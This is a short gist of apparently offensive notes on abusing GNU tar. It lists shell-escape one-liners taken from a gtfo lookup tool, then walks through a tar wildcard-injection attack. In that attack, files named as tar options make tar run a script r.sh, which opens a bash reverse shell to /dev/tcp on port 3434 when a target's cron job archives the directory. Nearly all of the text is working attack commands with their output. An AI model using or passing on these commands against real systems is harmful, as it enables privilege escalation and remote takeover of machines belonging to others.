tar wildcard rev shell --

gistfile1.txt

[2] % gtfo -b tar
   _  _           _    __      
 _| || |_        | |  / _|     
|_  __  _|   __ _| |_| |_ ___  
 _| || |_   / _` | __|  _/ _ \ 
|_  __  _| | (_| | |_| || (_) |
  |_||_|    \__, |\__|_| \___/ 
             __/ |             
            |___/              



Code:   tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Type:   shell


# This only works for GNU tar.
Code:   tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
Type:   shell


# This only works for GNU tar. It can be useful when only a limited command argument injection is available.
Code:   TF=$(mktemp)
        echo '/bin/sh 0<&1' > "$TF"
        tar cf "$TF.tar" "$TF"
        tar xf "$TF.tar" --to-command sh
        rm "$TF"*

Type:   shell

reverse shell --

[0] % echo '' > --checkpoint=1
[0] % echo '' > '--checkpoint-action=exec=sh r.sh'
[0] % echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/x.x.x.x/3434 0>&1'" > r.sh
[0] % tar -cvf r.tar ./--checkpoint=1 ./--checkpoint-action=exec=sh\ r.sh 
./r.sh 
./--checkpoint=1 
./--checkpoint-action=exec=sh r.sh ./r.sh

[0] % ll r.sh                               
-rw-r--r-- 1 dualfade dualfade 63 May  8 09:36 r.sh

[0] % ll r.tar
-rw-r--r-- 1 dualfade dualfade 10K May  8 09:36 r.tar

Upload --
Let's see --
target cron execs --
Shell !